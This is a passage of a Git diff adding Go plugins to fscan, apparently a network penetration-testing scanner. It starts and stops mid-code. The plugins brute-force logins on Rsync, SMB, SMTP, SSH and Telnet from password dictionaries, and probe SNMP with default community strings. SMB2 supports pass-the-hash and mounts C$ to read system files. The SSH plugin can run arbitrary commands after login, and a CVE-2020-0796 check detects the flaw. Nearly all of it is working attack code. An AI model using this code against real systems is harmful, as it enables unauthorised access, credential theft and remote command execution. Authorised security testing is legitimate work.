}
}
break
}
totalUsers := len(Common.Userdict["rsync"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
for _, user := range Common.Userdict["rsync"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
flag, err := RsyncConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag && err == nil, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success {
Common.LogSuccess(fmt.Sprintf("Rsync服务 %s 爆破成功 用户名: %v 密码: %v",
target, user, pass))
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rsync",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
Common.LogError(fmt.Sprintf("Rsync服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err))
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 建立连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
if err != nil {
return false, err
}
defer conn.Close()
buffer := make([]byte, 1024)
// 1. 读取服务器初始greeting
n, err := conn.Read(buffer)
if err != nil {
return false, err
}
greeting := string(buffer[:n])
if !strings.HasPrefix(greeting, "@RSYNCD:") {
return false, fmt.Errorf("不是Rsync服务")
}
// 获取服务器版本号
version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:"))
// 2. 回应相同的版本号
_, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
if err != nil {
return false, err
}
// 3. 选择模块 - 先列出可用模块
_, err = conn.Write([]byte("#list\n"))
if err != nil {
return false, err
}
// 4. 读取模块列表
var moduleList strings.Builder
for {
n, err = conn.Read(buffer)
if err != nil {
break
}
chunk := string(buffer[:n])
moduleList.WriteString(chunk)
if strings.Contains(chunk, "@RSYNCD: EXIT") {
break
}
}
modules := strings.Split(moduleList.String(), "\n")
for _, module := range modules {
if strings.HasPrefix(module, "@RSYNCD") || module == "" {
continue
}
// 获取模块名
moduleName := strings.Fields(module)[0]
// 5. 为每个模块创建新连接尝试认证
authConn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
if err != nil {
continue
}
defer authConn.Close()
// 重复初始握手
_, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
_, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
if err != nil {
authConn.Close()
continue
}
// 6. 选择模块
_, err = authConn.Write([]byte(moduleName + "\n"))
if err != nil {
authConn.Close()
continue
}
// 7. 等待认证挑战
n, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
authResponse := string(buffer[:n])
if strings.Contains(authResponse, "@RSYNCD: OK") {
// 模块不需要认证
if user == "" && pass == "" {
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
Common.LogSuccess(result)
return true, nil
}
} else if strings.Contains(authResponse, "@RSYNCD: AUTHREQD") {
if user != "" && pass != "" {
// 8. 发送认证信息
authString := fmt.Sprintf("%s %s\n", user, pass)
_, err = authConn.Write([]byte(authString))
if err != nil {
authConn.Close()
continue
}
// 9. 读取认证结果
n, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
if !strings.Contains(string(buffer[:n]), "@ERROR") {
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
host, port, moduleName, user, pass)
Common.LogSuccess(result)
return true, nil
}
}
}
authConn.Close()
}
return false, fmt.Errorf("认证失败或无可用模块")
}

149
Plugins/SMB.go Normal file
View File

@ -0,0 +1,149 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
)
func SmbScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 遍历所有用户
for _, user := range Common.Userdict["smb"] {
// 遍历该用户的所有密码
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
success, err := doWithTimeOut(info, user, pass)
if success {
// 构建结果消息
var successMsg string
details := map[string]interface{}{
"port": info.Ports,
"service": "smb",
"username": user,
"password": pass,
"type": "weak-password",
}
if Common.Domain != "" {
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, Common.Domain, user, pass)
details["domain"] = Common.Domain
} else {
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, user, pass)
}
// 记录成功日志
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
return nil
}
if err != nil {
errMsg := fmt.Sprintf("SMB认证失败 %s %s:%s %v", target, user, pass, err)
Common.LogError(errMsg)
// 等待失败日志打印完成
time.Sleep(100 * time.Millisecond)
if strings.Contains(err.Error(), "账号锁定") {
// 账号锁定时跳过当前用户的剩余密码
break // 跳出密码循环,继续下一个用户
}
}
}
}
return nil
}
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: Common.Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
defer session.Close()
if session.IsAuthenticated {
return true, nil
}
return false, fmt.Errorf("认证失败")
}
// 清理错误信息中的换行符和多余空格
errMsg := strings.TrimSpace(strings.ReplaceAll(err.Error(), "\n", " "))
if strings.Contains(errMsg, "NT Status Error") {
switch {
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
err = fmt.Errorf("密码错误")
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
err = fmt.Errorf("账号锁定")
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
err = fmt.Errorf("拒绝访问")
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
err = fmt.Errorf("账号禁用")
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
err = fmt.Errorf("密码过期")
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
return false, fmt.Errorf("会话断开")
default:
err = fmt.Errorf("认证失败")
}
}
signal <- struct{}{}
return false, err
}
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{}, 1)
result := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := SmblConn(info, user, pass, signal)
select {
case result <- struct {
success bool
err error
}{success, err}:
default:
}
}()
select {
case r := <-result:
return r.success, r.err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
select {
case r := <-result:
return r.success, r.err
default:
return false, fmt.Errorf("连接超时")
}
}
}

304
Plugins/SMB2.go Normal file
View File

@ -0,0 +1,304 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"os"
"strings"
"time"
"github.com/hirochachacha/go-smb2"
)
// SmbScan2 执行SMB2服务的认证扫描支持密码和哈希两种认证方式
func SmbScan2(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return nil
}
// 使用哈希认证模式
if len(Common.HashBytes) > 0 {
return smbHashScan(info)
}
// 使用密码认证模式
return smbPasswordScan(info)
}
func smbPasswordScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
hasprint := false
// 遍历每个用户
for _, user := range Common.Userdict["smb"] {
accountLocked := false // 添加账户锁定标志
// 遍历该用户的所有密码
for _, pass := range Common.Passwords {
if accountLocked { // 如果账户被锁定,跳过剩余密码
break
}
pass = strings.ReplaceAll(pass, "{user}", user)
// 重试循环
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint)
if printed {
hasprint = true
}
if success {
logSuccessfulAuth(info, user, pass, []byte{})
return nil
}
if err != nil {
logFailedAuth(info, user, pass, []byte{}, err)
// 检查是否账户锁定
if strings.Contains(err.Error(), "account has been automatically locked") ||
strings.Contains(err.Error(), "account has been locked") {
accountLocked = true // 设置锁定标志
break
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+2))
continue
}
}
break
}
}
}
return nil
}
func smbHashScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
hasprint := false
// 遍历每个用户
for _, user := range Common.Userdict["smb"] {
// 遍历该用户的所有hash
for _, hash := range Common.HashBytes {
// 重试循环
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
success, err, printed := Smb2Con(info, user, "", hash, hasprint)
if printed {
hasprint = true
}
if success {
logSuccessfulAuth(info, user, "", hash)
return nil
}
if err != nil {
logFailedAuth(info, user, "", hash, err)
// 检查是否账户锁定
if strings.Contains(err.Error(), "user account has been automatically locked") {
// 账户锁定跳过该用户的剩余hash
break
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+1))
continue
}
}
break
}
}
}
return nil
}
// logSuccessfulAuth 记录成功的认证
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
credential := pass
if len(hash) > 0 {
credential = Common.HashValue
}
// 保存认证成功结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "success",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smb2",
"username": user,
"domain": Common.Domain,
"type": "weak-auth",
"credential": credential,
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
},
}
Common.SaveResult(result)
// 控制台输出
var msg string
if Common.Domain != "" {
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
} else {
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user)
}
if len(hash) > 0 {
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else {
msg += fmt.Sprintf(" Pass:%s", pass)
}
Common.LogSuccess(msg)
}
// logFailedAuth 记录失败的认证
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
info.Host, info.Ports, user, Common.HashValue, err)
} else {
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, user, pass, err)
}
errlog = strings.ReplaceAll(errlog, "\n", " ")
Common.LogError(errlog)
}
// Smb2Con 尝试SMB2连接并进行认证检查共享访问权限
func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, fmt.Errorf("连接失败: %v", err), false
}
defer conn.Close()
// 配置NTLM认证
initiator := smb2.NTLMInitiator{
User: user,
Domain: Common.Domain,
}
// 设置认证方式(哈希或密码)
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
// 创建SMB2会话
d := &smb2.Dialer{
Initiator: &initiator,
}
session, err := d.Dial(conn)
if err != nil {
return false, fmt.Errorf("SMB2会话建立失败: %v", err), false
}
defer session.Logoff()
// 获取共享列表
shares, err := session.ListSharenames()
if err != nil {
return false, fmt.Errorf("获取共享列表失败: %v", err), false
}
// 打印共享信息(如果未打印过)
if !hasprint {
logShareInfo(info, user, pass, hash, shares)
flag2 = true
}
// 尝试访问C$共享以验证管理员权限
fs, err := session.Mount("C$")
if err != nil {
return false, fmt.Errorf("挂载C$失败: %v", err), flag2
}
defer fs.Umount()
// 尝试读取系统文件以验证权限
path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return false, fmt.Errorf("访问系统文件失败: %v", err), flag2
}
defer f.Close()
return true, nil, flag2
}
// logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
credential := pass
if len(hash) > 0 {
credential = Common.HashValue
}
// 保存共享信息结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "shares-found",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smb2",
"username": user,
"domain": Common.Domain,
"shares": shares,
"credential": credential,
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
},
}
Common.SaveResult(result)
// 控制台输出
var msg string
if Common.Domain != "" {
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
} else {
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user)
}
if len(hash) > 0 {
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else {
msg += fmt.Sprintf(" Pass:%s", pass)
}
msg += fmt.Sprintf(" 共享:%v", shares)
Common.LogInfo(msg)
}

179
Plugins/SMTP.go Normal file
View File

@ -0,0 +1,179 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"net/smtp"
"strings"
"time"
)
// SmtpScan 执行 SMTP 服务扫描
func SmtpScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试匿名访问...")
// 先测试匿名访问
for retryCount := 0; retryCount < maxRetries; retryCount++ {
flag, err := SmtpConn(info, "", "")
if flag && err == nil {
msg := fmt.Sprintf("SMTP服务 %s 允许匿名访问", target)
Common.LogSuccess(msg)
// 保存匿名访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smtp",
"type": "anonymous-access",
"anonymous": true,
},
}
Common.SaveResult(result)
return err
}
if err != nil {
errlog := fmt.Sprintf("smtp %s anonymous %v", target, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
}
break
}
totalUsers := len(Common.Userdict["smtp"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["smtp"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
flag, err := SmtpConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
msg := fmt.Sprintf("SMTP服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(msg)
// 保存成功爆破结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smtp",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("SMTP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// SmtpConn 尝试 SMTP 连接
func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", host, port)
conn, err := net.DialTimeout("tcp", addr, timeout)
if err != nil {
return false, err
}
defer conn.Close()
client, err := smtp.NewClient(conn, host)
if err != nil {
return false, err
}
defer client.Close()
if user != "" {
auth := smtp.PlainAuth("", user, pass, host)
err = client.Auth(auth)
if err != nil {
return false, err
}
}
err = client.Mail("test@test.com")
if err != nil {
return false, err
}
return true, nil
}

144
Plugins/SNMP.go Normal file
View File

@ -0,0 +1,144 @@
package Plugins
import (
"fmt"
"github.com/gosnmp/gosnmp"
"github.com/shadow1ng/fscan/Common"
"strconv"
"strings"
"time"
)
// SNMPScan 执行SNMP服务扫描
func SNMPScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
portNum, _ := strconv.Atoi(info.Ports)
defaultCommunities := []string{"public", "private", "cisco", "community"}
timeout := time.Duration(Common.Timeout) * time.Second
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
tried := 0
total := len(defaultCommunities)
for _, community := range defaultCommunities {
tried++
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
}
done := make(chan struct {
success bool
sysDesc string
err error
}, 1)
go func(community string) {
success, sysDesc, err := SNMPConnect(info, community, portNum)
select {
case done <- struct {
success bool
sysDesc string
err error
}{success, sysDesc, err}:
default:
}
}(community)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("SNMP服务 %s community: %v 连接成功", target, community)
if result.sysDesc != "" {
successMsg += fmt.Sprintf(" System: %v", result.sysDesc)
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "snmp",
"community": community,
"type": "weak-community",
"system": result.sysDesc,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(timeout):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("SNMP服务 %s 尝试失败 community: %v 错误: %v",
target, community, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
return tmperr
}
// SNMPConnect 尝试SNMP连接
func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, string, error) {
host := info.Host
timeout := time.Duration(Common.Timeout) * time.Second
snmp := &gosnmp.GoSNMP{
Target: host,
Port: uint16(portNum),
Community: community,
Version: gosnmp.Version2c,
Timeout: timeout,
Retries: 1,
}
err := snmp.Connect()
if err != nil {
return false, "", err
}
defer snmp.Conn.Close()
oids := []string{"1.3.6.1.2.1.1.1.0"}
result, err := snmp.Get(oids)
if err != nil {
return false, "", err
}
if len(result.Variables) > 0 {
var sysDesc string
if result.Variables[0].Type != gosnmp.NoSuchObject {
sysDesc = strings.TrimSpace(string(result.Variables[0].Value.([]byte)))
}
return true, sysDesc, nil
}
return false, "", fmt.Errorf("认证失败")
}

182
Plugins/SSH.go Normal file
View File

@ -0,0 +1,182 @@
package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"time"
)
func SshScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["ssh"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["ssh"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout)*time.Second)
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := SshConn(info, user, pass)
select {
case <-ctx.Done():
case done <- struct {
success bool
err error
}{success, err}:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success {
successMsg := fmt.Sprintf("SSH认证成功 %s User:%v Pass:%v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
details := map[string]interface{}{
"port": info.Ports,
"service": "ssh",
"username": user,
"password": pass,
"type": "weak-password",
}
// 如果使用了密钥认证,添加密钥信息
if Common.SshKeyPath != "" {
details["auth_type"] = "key"
details["key_path"] = Common.SshKeyPath
details["password"] = nil
}
// 如果执行了命令,添加命令信息
if Common.Command != "" {
details["command"] = Common.Command
}
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
time.Sleep(100 * time.Millisecond)
cancel()
return nil
}
case <-ctx.Done():
err = fmt.Errorf("连接超时")
}
cancel()
if err != nil {
errMsg := fmt.Sprintf("SSH认证失败 %s User:%v Pass:%v Err:%v",
target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
}
if Common.SshKeyPath != "" {
Common.LogDebug("检测到SSH密钥路径停止密码尝试")
return err
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
var auth []ssh.AuthMethod
if Common.SshKeyPath != "" {
pemBytes, err := ioutil.ReadFile(Common.SshKeyPath)
if err != nil {
return false, fmt.Errorf("读取密钥失败: %v", err)
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, fmt.Errorf("解析密钥失败: %v", err)
}
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
auth = []ssh.AuthMethod{ssh.Password(pass)}
}
config := &ssh.ClientConfig{
User: user,
Auth: auth,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: time.Duration(Common.Timeout) * time.Millisecond,
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
if err != nil {
return false, err
}
defer client.Close()
session, err := client.NewSession()
if err != nil {
return false, err
}
defer session.Close()
// 如果需要执行命令
if Common.Command != "" {
_, err := session.CombinedOutput(Common.Command)
if err != nil {
return true, err
}
}
return true, nil
}

View File

@ -5,7 +5,7 @@ import (
"fmt"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/Common"
)
const (
@ -94,35 +94,68 @@ const (
"\x00\x00\x00\x00"
)
func SmbGhost(info *common.HostInfo) error {
if common.IsBrute {
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
func SmbGhost(info *Common.HostInfo) error {
// 如果开启了暴力破解模式,跳过该检测
if Common.DisableBrute {
return nil
}
// 执行实际的SMB Ghost漏洞扫描
err := SmbGhostScan(info)
return err
}
func SmbGhostScan(info *common.HostInfo) error {
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
addr := fmt.Sprintf("%s:%v", info.Host, port)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
func SmbGhostScan(info *Common.HostInfo) error {
// 设置扫描参数
ip := info.Host
port := 445 // SMB服务默认端口
timeout := time.Duration(Common.Timeout) * time.Second
// 构造目标地址
addr := fmt.Sprintf("%s:%v", ip, port)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil {
return err
}
defer conn.Close()
_, err = conn.Write([]byte(pkt))
if err != nil {
defer conn.Close() // 确保连接最终被关闭
// 发送SMB协议探测数据包
if _, err = conn.Write([]byte(pkt)); err != nil {
return err
}
// 准备接收响应
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
return err
}
// 读取响应数据
n, err := conn.Read(buff)
if err != nil || n == 0 {
return err
}
if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
// 分析响应数据,检测是否存在漏洞
// 检查条件:
// 1. 响应包含"Public"字符串
// 2. 响应长度大于等于76字节
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
if bytes.Contains(buff[:n], []byte("Public")) &&
len(buff[:n]) >= 76 &&
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
// 发现漏洞,记录结果
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
Common.LogSuccess(result)
}
return err
}

670
Plugins/Telnet.go Normal file
View File

@ -0,0 +1,670 @@
package Plugins
import (
"bytes"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"regexp"
"strings"
"time"
)
// TelnetScan 执行Telnet服务扫描和密码爆破
func TelnetScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["telnet"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["telnet"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
noAuth bool
err error
}, 1)
go func(user, pass string) {
flag, err := telnetConn(info, user, pass)
select {
case done <- struct {
success bool
noAuth bool
err error
}{err == nil, flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.noAuth {
// 无需认证
msg := fmt.Sprintf("Telnet服务 %s 无需认证", target)
Common.LogSuccess(msg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "telnet",
"type": "unauthorized-access",
},
}
Common.SaveResult(vulnResult)
return nil
} else if result.success {
// 成功爆破
msg := fmt.Sprintf("Telnet服务 %s 用户名:%v 密码:%v", target, user, pass)
Common.LogSuccess(msg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "telnet",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
